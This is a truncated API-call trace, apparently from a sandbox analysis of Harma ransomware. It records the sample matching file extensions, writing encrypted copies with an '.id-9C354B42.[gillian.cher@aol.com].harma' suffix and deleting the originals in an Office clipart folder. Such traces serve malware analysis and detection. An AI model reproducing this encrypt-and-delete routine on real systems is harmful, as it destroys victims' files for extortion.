[0168.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.155] lstrlenW (lpString=".bz2") returned 4 [0168.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.155] lstrlenW (lpString=".7z") returned 3 [0168.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.155] lstrlenW (lpString=".dbf") returned 4 [0168.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.155] lstrlenW (lpString=".1cd") returned 4 [0168.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.155] lstrlenW (lpString=".jpg") returned 4 [0168.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.268] lstrlenW (lpString=".doc") returned 4 [0168.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.268] lstrlenW (lpString=".docx") returned 5 [0168.268] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.268] lstrlenW (lpString=".pdf") returned 4 [0168.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.268] lstrlenW (lpString=".xls") returned 4 [0168.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.268] lstrlenW (lpString=".xlsx") returned 5 [0168.268] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.268] lstrlenW (lpString=".ppt") returned 4 [0168.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.268] lstrlenW (lpString=".zip") returned 4 [0168.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.269] lstrlenW (lpString=".rar") returned 4 [0168.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.269] lstrlenW (lpString=".bz2") returned 4 [0168.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.269] lstrlenW (lpString=".7z") returned 3 [0168.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.269] lstrlenW (lpString=".dbf") returned 4 [0168.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.269] lstrlenW (lpString=".1cd") returned 4 [0168.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.269] lstrlenW (lpString=".jpg") returned 4 [0168.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.269] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.269] lstrlenW (lpString="J0105396.WMF") returned 12 [0168.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0168.350] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=11012) returned 1 [0168.350] CloseHandle (hObject=0x348) returned 1 [0168.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 0x20 [0168.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0168.372] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.373] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.373] GetLastError () returned 0x0 [0168.373] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2b04, lpOverlapped=0x0) returned 1 [0168.432] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2b10, lpOverlapped=0x0) returned 1 [0168.433] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.433] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.433] SetEndOfFile (hFile=0x39c) returned 1 [0168.433] CloseHandle (hObject=0x39c) returned 1 [0168.433] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.433] SetEndOfFile (hFile=0x3a4) returned 1 [0168.436] CloseHandle (hObject=0x3a4) returned 1 [0168.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0168.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.571] lstrlenW (lpString=".doc") returned 4 [0168.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.571] lstrlenW (lpString=".docx") returned 5 [0168.572] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.572] lstrlenW (lpString=".pdf") returned 4 [0168.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.572] lstrlenW (lpString=".xls") returned 4 [0168.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.572] lstrlenW (lpString=".xlsx") returned 5 [0168.572] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.572] lstrlenW (lpString=".ppt") returned 4 [0168.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.573] lstrlenW (lpString=".zip") returned 4 [0168.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.573] lstrlenW (lpString=".rar") returned 4 [0168.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.573] lstrlenW (lpString=".bz2") returned 4 [0168.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.573] lstrlenW (lpString=".7z") returned 3 [0168.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.573] lstrlenW (lpString=".dbf") returned 4 [0168.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.573] lstrlenW (lpString=".1cd") returned 4 [0168.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.573] lstrlenW (lpString=".jpg") returned 4 [0168.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.573] lstrlenW (lpString=".doc") returned 4 [0168.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.573] lstrlenW (lpString=".docx") returned 5 [0168.573] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.573] lstrlenW (lpString=".pdf") returned 4 [0168.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.573] lstrlenW (lpString=".xls") returned 4 [0168.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.573] lstrlenW (lpString=".xlsx") returned 5 [0168.573] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.573] lstrlenW (lpString=".ppt") returned 4 [0168.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.574] lstrlenW (lpString=".zip") returned 4 [0168.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.574] lstrlenW (lpString=".rar") returned 4 [0168.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.574] lstrlenW (lpString=".bz2") returned 4 [0168.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.574] lstrlenW (lpString=".7z") returned 3 [0168.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.574] lstrlenW (lpString=".dbf") returned 4 [0168.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.574] lstrlenW (lpString=".1cd") returned 4 [0168.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0168.574] lstrlenW (lpString=".jpg") returned 4 [0168.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.574] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.574] lstrlenW (lpString="J0105490.WMF") returned 12 [0168.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.575] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=18728) returned 1 [0168.575] CloseHandle (hObject=0x370) returned 1 [0168.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 0x20 [0168.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.576] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.576] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0168.578] GetLastError () returned 0x0 [0168.578] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4928, lpOverlapped=0x0) returned 1 [0168.605] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4930, lpOverlapped=0x0) returned 1 [0168.606] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.606] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.606] SetEndOfFile (hFile=0x38c) returned 1 [0168.606] CloseHandle (hObject=0x38c) returned 1 [0168.606] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.606] SetEndOfFile (hFile=0x370) returned 1 [0168.609] CloseHandle (hObject=0x370) returned 1 [0168.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0168.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.610] lstrlenW (lpString=".doc") returned 4 [0168.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.610] lstrlenW (lpString=".docx") returned 5 [0168.610] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.611] lstrlenW (lpString=".pdf") returned 4 [0168.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.611] lstrlenW (lpString=".xls") returned 4 [0168.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.611] lstrlenW (lpString=".xlsx") returned 5 [0168.611] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.611] lstrlenW (lpString=".ppt") returned 4 [0168.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.611] lstrlenW (lpString=".zip") returned 4 [0168.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.611] lstrlenW (lpString=".rar") returned 4 [0168.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.611] lstrlenW (lpString=".bz2") returned 4 [0168.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.611] lstrlenW (lpString=".7z") returned 3 [0168.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.611] lstrlenW (lpString=".dbf") returned 4 [0168.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.611] lstrlenW (lpString=".1cd") returned 4 [0168.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.611] lstrlenW (lpString=".jpg") returned 4 [0168.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.612] lstrlenW (lpString=".doc") returned 4 [0168.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.612] lstrlenW (lpString=".docx") returned 5 [0168.612] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.612] lstrlenW (lpString=".pdf") returned 4 [0168.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.612] lstrlenW (lpString=".xls") returned 4 [0168.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.612] lstrlenW (lpString=".xlsx") returned 5 [0168.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.612] lstrlenW (lpString=".ppt") returned 4 [0168.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.612] lstrlenW (lpString=".zip") returned 4 [0168.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.612] lstrlenW (lpString=".rar") returned 4 [0168.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.612] lstrlenW (lpString=".bz2") returned 4 [0168.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.612] lstrlenW (lpString=".7z") returned 3 [0168.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.612] lstrlenW (lpString=".dbf") returned 4 [0168.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.612] lstrlenW (lpString=".1cd") returned 4 [0168.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0168.612] lstrlenW (lpString=".jpg") returned 4 [0168.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.613] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.613] lstrlenW (lpString="J0105502.WMF") returned 12 [0168.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.614] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=5472) returned 1 [0168.614] CloseHandle (hObject=0x370) returned 1 [0168.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 0x20 [0168.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.615] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.615] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0168.616] GetLastError () returned 0x0 [0168.616] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1560, lpOverlapped=0x0) returned 1 [0168.729] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1570, lpOverlapped=0x0) returned 1 [0168.730] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.730] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.730] SetEndOfFile (hFile=0x38c) returned 1 [0168.731] CloseHandle (hObject=0x38c) returned 1 [0168.731] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.731] SetEndOfFile (hFile=0x370) returned 1 [0168.838] CloseHandle (hObject=0x370) returned 1 [0168.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.876] lstrlenW (lpString=".doc") returned 4 [0168.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.876] lstrlenW (lpString=".docx") returned 5 [0168.876] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.876] lstrlenW (lpString=".pdf") returned 4 [0168.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.876] lstrlenW (lpString=".xls") returned 4 [0168.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.876] lstrlenW (lpString=".xlsx") returned 5 [0168.876] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.876] lstrlenW (lpString=".ppt") returned 4 [0168.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.877] lstrlenW (lpString=".zip") returned 4 [0168.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.877] lstrlenW (lpString=".rar") returned 4 [0168.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.877] lstrlenW (lpString=".bz2") returned 4 [0168.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.877] lstrlenW (lpString=".7z") returned 3 [0168.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.877] lstrlenW (lpString=".dbf") returned 4 [0168.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.877] lstrlenW (lpString=".1cd") returned 4 [0168.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.877] lstrlenW 